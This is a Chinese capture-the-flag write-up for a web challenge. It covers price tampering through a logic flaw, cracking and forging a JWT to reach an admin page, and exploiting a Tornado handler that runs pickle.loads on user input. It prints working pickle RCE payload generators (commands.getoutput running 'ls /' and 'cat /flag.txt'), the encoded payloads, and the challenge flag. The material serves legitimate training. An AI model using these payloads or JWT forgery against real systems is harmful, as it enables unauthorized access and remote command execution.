考点:JWT身份伪造、python pickle反序列化、逻辑漏洞
1、打开之后首页界面直接看到了提示信息,信息如下:
2、那就随便注册一个账号进行登录,然后购买lv6,但是未发现lv6,那就查看下一页,此时观察下访问的url地址:http://xxxxxxx.node4.buuoj.cn:81/shop?page=2,很明显这里是要我们修改page参数进行访问,获取到lv6后进行购买,那就用脚本获取下lv6的位置,脚本和结果如下:
脚本代码:
import requests url = 'http://6d8e46fc-520a-4d0d-a912-e9058186d353.node4.buuoj.cn:81/shop?page=' for i in range(0,2000): urls = url + str(i) rs = requests.get(urls) print("\r", end="") print('已检测到' + str(i) + '页', end='') if 'lv6.png' in rs.text: print('\nlv6在第'+str(i)+'页') break
结果如下:
3、那就访问第181页并购买lv6,但是因为我们的金额不够,所以这里需要抓取购买请求的数据包并修改和折扣信息,使我们的金额可以成功购买到lv6,结果如下:
4、发现返回的信息中只有一个:/b1g_m4mber,那就尝试访问一下,显示只允许admin账户进行访问,结果如下:
5、抓取访问的数据包,发现其中存在和身份认证有关的jwt,对jwt进行密匙爆破,成功获得密匙:1Kun,这里使用的爆破工具是:https://github.com/brendan-rius/c-jwt-cracker。使用方法:
1、sudo apt-get install libssl-dev(如果失败,则执行sudo apt-get update)
2、sudo make
3、./jwtcrack JWT
最终获得密匙如下:
6、破解密匙后,然后通过我们的密匙生成新的jwt,网站:https://jwt.io/或者brup的JSON Web Token(修改JWT之后,会自动修改抓取数据包中的JWT,这个还是比较方便的)插件,结果如下:
7、使用新生成的jwt替换掉原数据包中的jwt并发送数据包,成功进入到admin账户的界面并查看源代码信息,发现了一个压缩包,结果如下:
8、然后就对代码进行审计,但是因为对python不够了解,所以在网上未发现是python pickle的序列化漏洞,漏洞存在admin.py文件中,代码信息如下:
import tornado.web from sshop.base import BaseHandler import pickle import urllib class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html') @tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0)
然后在网上查找了下利用的方式,需要通过脚本生成payload:ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.,脚本信息如下(不要使用python3):
import pickle import urllib import commands class payload(object): def __reduce__(self): return (commands.getoutput,('ls /',)) a = payload() print urllib.quote(pickle.dumps(a))
9、获取到payload之后就在前端找一下become参数,发现参数被隐藏起来了,删除hidden属性,输入payload,点击一键成为大会员抓包(不要忘了修改JWT),获得flag.txt,结果如下:
10、修改脚本中的命令,读取flag.txt文件,修改后的脚本为:
import pickle import urllib import commands class payload(object): def __reduce__(self): return (commands.getoutput,('cat /flag.txt',)) a = payload() print urllib.quote(pickle.dumps(a))
payload:ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.,重复步骤9,成功获得flag:flag{8c613da6-9a6e-4eac-ac4e-8076e3af0f7c},结果如下: